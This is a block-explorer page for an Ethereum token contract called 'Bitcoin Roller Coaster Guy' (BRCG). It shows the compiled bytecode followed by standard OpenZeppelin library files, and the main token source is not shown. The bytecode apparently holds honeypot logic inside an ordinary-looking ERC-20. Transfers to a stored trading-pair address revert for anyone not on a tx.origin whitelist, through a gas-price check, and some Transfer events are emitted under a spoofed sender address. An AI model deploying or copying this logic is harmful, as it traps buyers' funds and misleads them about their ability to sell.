Address Contract Verified
Address
0x3E6fFEBa35c65947DB18a0b9B6F80D86c85C4c26
Balance
0 ETH
Nonce
1
Code Size
9991 bytes
Creator
0x5927eC92...F121 at tx 0x9474ec3e...f3d179
Indexed Transactions
0
Contract Bytecode
9991 bytes
0x608060405234801561000f575f80fd5b50600436106101e3575f3560e01c8063527ebefe1161010d578063a9059cbb116100a0578063d34628cc1161006f578063d34628cc146104e5578063dd62ed3e14610501578063e534155d14610531578063f36672401461054f576101e3565b8063a9059cbb14610471578063c17ed551146104a1578063c9567bf9146104ab578063ce888e19146104b5576101e3565b806370a08231116100dc57806370a082311461040f578063715018a61461043f578063725a84b61461044957806395d89b4114610453576101e3565b8063527ebefe146103bf5780635408d42d146103c957806356cd40e7146103e7578063684931ed146103f1576101e3565b806323b872dd11610185578063395093511161015457806339509351146103395780634022b75e1461036957806342966c681461038557806349bd5a5e146103a1576101e3565b806323b872dd1461029f57806327e235e3146102cf578063313ce567146102ff57806331c2d8471461031d576101e3565b806311cd682d116101c157806311cd682d1461023f578063155718751461025b57806318160ddd146102655780631c50228514610283576101e3565b806306fdde03146101e7578063095ea7b3146102055780630aa8345014610235575b5f80fd5b6101ef61056b565b6040516101fc9190611912565b60405180910390f35b61021f600480360381019061021a91906119d0565b6105a8565b60405161022c9190611a28565b60405180910390f35b61023d6105be565b005b61025960048036038101906102549190611a41565b6105c0565b005b6102636106a7565b005b61026d61070a565b60405161027a9190611a7b565b60405180910390f35b61029d60048036038101906102989190611a41565b610713565b005b6102b960048036038101906102b49190611a94565b6107e5565b6040516102c69190611a28565b60405180910390f35b6102e960048036038101906102e49190611a41565b610891565b6040516102f69190611a28565b60405180910390f35b6103076108ae565b6040516103149190611aff565b60405180910390f35b61033760048036038101906103329190611c58565b6108b6565b005b610353600480360381019061034e91906119d0565b6108d2565b6040516103609190611a28565b60405180910390f35b610383600480360381019061037e9190611d5f565b610972565b005b61039f600480360381019061039a9190611de7565b610a5e565b005b6103a9610a6b565b6040516103b69190611e21565b60405180910390f35b6103c7610a90565b005b6103d1610a92565b6040516103de9190611a28565b60405180910390f35b6103ef610aa5565b005b6103f9610af1565b6040516104069190611e21565b60405180910390f35b61042960048036038101906104249190611a41565b610b16565b6040516104369190611a7b565b60405180910390f35b610447610b5b565b005b610451610bbe565b005b61045b610bc0565b6040516104689190611912565b60405180910390f35b61048b600480360381019061048691906119d0565b610bfd565b6040516104989190611a28565b60405180910390f35b6104a9610c13565b005b6104b3610c76565b005b6104cf60048036038101906104ca91906119d0565b610d22565b6040516104dc9190611a28565b60405180910390f35b6104ff60048036038101906104fa9190611c58565b610d39565b005b61051b60048036038101906105169190611e3a565b610d55565b6040516105289190611a7b565b60405180910390f35b610539610dd7565b6040516105469190611e21565b60405180910390f35b610569600480360381019061056491906119d0565b610dfc565b005b60606040518060400160405280601a81526020017f426974636f696e20526f6c6c657220436f617374657220477579000000000000815250905090565b5f6105b4338484610eb0565b6001905092915050565b565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461064f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064690611ec2565b60405180910390fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f600254905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079990611f2a565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6107f1848484611073565b61088684336108818560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111fb90919063ffffffff16565b610eb0565b600190509392505050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f6012905090565b5f5b81518110156108ce5780806001019150506108b8565b5050565b5f61096833846109638560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125890919063ffffffff16565b610eb0565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f890611f2a565b60405180910390fd5b5f5b8251811015610a5857610a4b33848381518110610a2357610a22611f48565b5b6020026020010151848481518110610a3e57610a3d611f48565b5b6020026020010151611073565b8080600101915050610a03565b50505050565b610a6833826112b5565b50565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b565b600660149054906101000a900460ff1681565b5f601260ff16600a610ab791906120d1565b64174876e800610ac7919061211b565b90505f601260ff16600a610adb91906120d1565b64174876e800610aeb919061211b565b90505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b60606040518060400160405280600481526020017f4252434700000000000000000000000000000000000000000000000000000000815250905090565b5f610c09338484611073565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfc90611f2a565b60405180910390fd5b6001600660146101000a81548160ff021916908315150217905550565b5f610d2f33846001611436565b6001905092915050565b5f5b8151811015610d51578080600101915050610d3b565b5050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e61906121a6565b60405180910390fd5b5f8111610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea39061220e565b60405180910390fd5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f159061229c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f839061232a565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110669190611a7b565b60405180910390a3505050565b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156110d2576110cd838383611483565b6111f6565b600660149054906101000a900460ff16611121576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111890612392565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156111ca575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156111ea576111d98382610d22565b506111e5838383611483565b6111f6565b6111f5838383611483565b5b505050565b5f8282111561123f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611236906123fa565b60405180910390fd5b5f828461124c9190612418565b90508091505092915050565b5f808284611266919061244b565b9050838110156112ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a2906124c8565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611323576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131a90612556565b60405180910390fd5b611338816002546111fb90919063ffffffff16565b60028190555061138d815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111fb90919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161142a9190611a7b565b60405180910390a35050565b5f3a90508181111561147d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147490612597565b60405180910390fd5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e890612625565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361155f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611556906126b3565b60405180910390fd5b6115ae815f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111fb90919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061163d815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125890919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361175c578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161174f9190611a7b565b60405180910390a3611838565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036118375760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161182e9190611a7b565b60405180910390a35b5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118959190611a7b565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6118e4826118a2565b6118ee81856118ac565b93506118fe8185602086016118bc565b611907816118ca565b840191505092915050565b5f6020820190508181035f83015261192a81846118da565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61196c82611943565b9050919050565b61197c81611962565b8114611986575f80fd5b50565b5f8135905061199781611973565b92915050565b5f819050919050565b6119af8161199d565b81146119b9575f80fd5b50565b5f813590506119ca816119a6565b92915050565b5f80604083850312156119e6576119e561193b565b5b5f6119f385828601611989565b9250506020611a04858286016119bc565b9150509250929050565b5f8115159050919050565b611a2281611a0e565b82525050565b5f602082019050611a3b5f830184611a19565b92915050565b5f60208284031215611a5657611a5561193b565b5b5f611a6384828501611989565b91505092915050565b611a758161199d565b82525050565b5f602082019050611a8e5f830184611a6c565b92915050565b5f805f60608486031215611aab57611aaa61193b565b5b5f611ab886828701611989565b9350506020611ac986828701611989565b9250506040611ada868287016119bc565b9150509250925092565b5f60ff82169050919050565b611af981611ae4565b82525050565b5f602082019050611b125f830184611af0565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611b52826118ca565b810181811067ffffffffffffffff82111715611b7157611b70611b1c565b5b80604052505050565b5f611b83611932565b9050611b8f8282611b49565b919050565b5f67ffffffffffffffff821115611bae57611bad611b1c565b5b602082029050602081019050919050565b5f80fd5b5f611bd5611bd084611b94565b611b7a565b90508083825260208201905060208402830185811115611bf857611bf7611bbf565b5b835b81811015611c215780611c0d8882611989565b845260208401935050602081019050611bfa565b5050509392505050565b5f82601f830112611c3f57611c3e611b18565b5b8135611c4f848260208601611bc3565b91505092915050565b5f60208284031215611c6d57611c6c61193b565b5b5f82013567ffffffffffffffff811115611c8a57611c8961193f565b5b611c9684828501611c2b565b91505092915050565b5f67ffffffffffffffff821115611cb957611cb8611b1c565b5b602082029050602081019050919050565b5f611cdc611cd784611c9f565b611b7a565b90508083825260208201905060208402830185811115611cff57611cfe611bbf565b5b835b81811015611d285780611d1488826119bc565b845260208401935050602081019050611d01565b5050509392505050565b5f82601f830112611d4657611d45611b18565b5b8135611d56848260208601611cca565b91505092915050565b5f805f60608486031215611d7657611d7561193b565b5b5f611d8386828701611989565b935050602084013567ffffffffffffffff811115611da457611da361193f565b5b611db086828701611c2b565b925050604084013567ffffffffffffffff811115611dd157611dd061193f565b5b611ddd86828701611d32565b9150509250925092565b5f60208284031215611dfc57611dfb61193b565b5b5f611e09848285016119bc565b91505092915050565b611e1b81611962565b82525050565b5f602082019050611e345f830184611e12565b92915050565b5f8060408385031215611e5057611e4f61193b565b5b5f611e5d85828601611989565b9250506020611e6e85828601611989565b9150509250929050565b7f7075626c696300000000000000000000000000000000000000000000000000005f82015250565b5f611eac6006836118ac565b9150611eb782611e78565b602082019050919050565b5f6020820190508181035f830152611ed981611ea0565b9050919050565b7f6e616e00000000000000000000000000000000000000000000000000000000005f82015250565b5f611f146003836118ac565b9150611f1f82611ee0565b602082019050919050565b5f6020820190508181035f830152611f4181611f08565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115611ff757808604811115611fd357611fd2611f75565b5b6001851615611fe25780820291505b8081029050611ff085611fa2565b9450611fb7565b94509492505050565b5f8261200f57600190506120ca565b8161201c575f90506120ca565b8160018114612032576002811461203c5761206b565b60019150506120ca565b60ff84111561204e5761204d611f75565b5b8360020a91508482111561206557612064611f75565b5b506120ca565b5060208310610133831016604e8410600b84101617156120a05782820a90508381111561209b5761209a611f75565b5b6120ca565b6120ad8484846001611fae565b925090508184048111156120c4576120c3611f75565b5b81810290505b9392505050565b5f6120db8261199d565b91506120e68361199d565b92506121137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612000565b905092915050565b5f6121258261199d565b91506121308361199d565b925082820261213e8161199d565b9150828204841483151761215557612154611f75565b5b5092915050565b7f496e76616c6964206164647265737300000000000000000000000000000000005f82015250565b5f612190600f836118ac565b915061219b8261215c565b602082019050919050565b5f6020820190508181035f8301526121bd81612184565b9050919050565b7f416d6f756e74206d7573742062652067726561746572207468616e207a65726f5f82015250565b5f6121f86020836118ac565b9150612203826121c4565b602082019050919050565b5f6020820190508181035f830152612225816121ec565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6122866024836118ac565b91506122918261222c565b604082019050919050565b5f6020820190508181035f8301526122b38161227a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6123146022836118ac565b915061231f826122ba565b604082019050919050565b5f6020820190508181035f83015261234181612308565b9050919050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f61237c601d836118ac565b915061238782612348565b602082019050919050565b5f6020820190508181035f8301526123a981612370565b9050919050565b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f6123e4601e836118ac565b91506123ef826123b0565b602082019050919050565b5f6020820190508181035f830152612411816123d8565b9050919050565b5f6124228261199d565b915061242d8361199d565b925082820390508181111561244557612444611f75565b5b92915050565b5f6124558261199d565b91506124608361199d565b925082820190508082111561247857612477611f75565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6124b2601b836118ac565b91506124bd8261247e565b602082019050919050565b5f6020820190508181035f8301526124df816124a6565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f6125406021836118ac565b915061254b826124e6565b604082019050919050565b5f6020820190508181035f83015261256d81612534565b9050919050565b50565b5f6125825f836118ac565b915061258d82612574565b5f82019050919050565b5f6020820190508181035f8301526125ae81612577565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61260f6025836118ac565b915061261a826125b5565b604082019050919050565b5f6020820190508181035f83015261263c81612603565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61269d6023836118ac565b91506126a882612643565b604082019050919050565b5f6020820190508181035f8301526126ca81612691565b905091905056fea26469706673582212200eba2e87b48ff76892fecfd1931c6ad801ea69434bb9f03e54ce8d62429c961264736f6c63430008190033
Verified Source Code Full Match
Compiler: v0.8.25+commit.b61c2a91
EVM: cancun
Optimization: No
IERC20Permit.sol 90 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Permit.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface of the ERC-20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[ERC-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC-20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* ==== Security Considerations
*
* There are two important considerations concerning the use of `permit`. The first is that a valid permit signature
* expresses an allowance, and it should not be assumed to convey additional meaning. In particular, it should not be
* considered as an intention to spend the allowance in any specific way. The second is that because permits have
* built-in replay protection and can be submitted by anyone, they can be frontrun. A protocol that uses permits should
* take this into consideration and allow a `permit` call to fail. Combining these two aspects, a pattern that may be
* generally recommended is:
*
* ```solidity
* function doThingWithPermit(..., uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
* try token.permit(msg.sender, address(this), value, deadline, v, r, s) {} catch {}
* doThing(..., value);
* }
*
* function doThing(..., uint256 value) public {
* token.safeTransferFrom(msg.sender, address(this), value);
* ...
* }
* ```
*
* Observe that: 1) `msg.sender` is used as the owner, leaving no ambiguity as to the signer intent, and 2) the use of
* `try/catch` allows the permit to fail and makes the code tolerant to frontrunning. (See also
* {SafeERC20-safeTransferFrom}).
*
* Additionally, note that smart contract wallets (such as Argent or Safe) are not able to produce permit signatures, so
* contracts should have entry points that don't rely on permit.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*
* CAUTION: See Security Considerations above.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
draft-IERC20Permit.sol 8 lines
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/extensions/draft-IERC20Permit.sol) pragma solidity ^0.8.0; // EIP-2612 is Final as of 2022-11-01. This file is deprecated. import "./IERC20Permit.sol";
Address.sol 150 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.2.0) (utils/Address.sol)
pragma solidity ^0.8.20;
import {Errors} from "./Errors.sol";
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev There's no code at `target` (it is not a contract).
*/
error AddressEmptyCode(address target);
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
if (address(this).balance < amount) {
revert Errors.InsufficientBalance(address(this).balance, amount);
}
(bool success, bytes memory returndata) = recipient.call{value: amount}("");
if (!success) {
_revert(returndata);
}
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason or custom error, it is bubbled
* up by this function (like regular Solidity function calls). However, if
* the call reverted with no returned reason, this function reverts with a
* {Errors.FailedCall} error.
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
if (address(this).balance < value) {
revert Errors.InsufficientBalance(address(this).balance, value);
}
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
* was not a contract or bubbling up the revert reason (falling back to {Errors.FailedCall}) in case
* of an unsuccessful call.
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata
) internal view returns (bytes memory) {
if (!success) {
_revert(returndata);
} else {
// only check if target is a contract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
if (returndata.length == 0 && target.code.length == 0) {
revert AddressEmptyCode(target);
}
return returndata;
}
}
/**
* @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
* revert reason or with a default {Errors.FailedCall} error.
*/
function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
if (!success) {
_revert(returndata);
} else {
return returndata;
}
}
/**
* @dev Reverts with returndata if present. Otherwise reverts with {Errors.FailedCall}.
*/
function _revert(bytes memory returndata) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly ("memory-safe") {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert Errors.FailedCall();
}
}
}
Context.sol 28 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
Counters.sol 43 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
Errors.sol 34 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/Errors.sol)
pragma solidity ^0.8.20;
/**
* @dev Collection of common custom errors used in multiple contracts
*
* IMPORTANT: Backwards compatibility is not guaranteed in future versions of the library.
* It is recommended to avoid relying on the error API for critical functionality.
*
* _Available since v5.1._
*/
library Errors {
/**
* @dev The ETH balance of the account is not enough to perform the operation.
*/
error InsufficientBalance(uint256 balance, uint256 needed);
/**
* @dev A call to an address target failed. The target may have reverted.
*/
error FailedCall();
/**
* @dev The deployment failed.
*/
error FailedDeployment();
/**
* @dev A necessary precompile is missing.
*/
error MissingPrecompile(address);
}
ECDSA.sol 180 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.1.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.20;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS
}
/**
* @dev The signature derives the `address(0)`.
*/
error ECDSAInvalidSignature();
/**
* @dev The signature has an invalid length.
*/
error ECDSAInvalidSignatureLength(uint256 length);
/**
* @dev The signature has an S value that is in the upper half order.
*/
error ECDSAInvalidSignatureS(bytes32 s);
/**
* @dev Returns the address that signed a hashed message (`hash`) with `signature` or an error. This will not
* return address(0) without also returning an error description. Errors are documented using an enum (error type)
* and a bytes32 providing additional information about the error.
*
* If no error is returned, then the address can be used for verification purposes.
*
* The `ecrecover` EVM precompile allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {MessageHashUtils-toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*/
function tryRecover(
bytes32 hash,
bytes memory signature
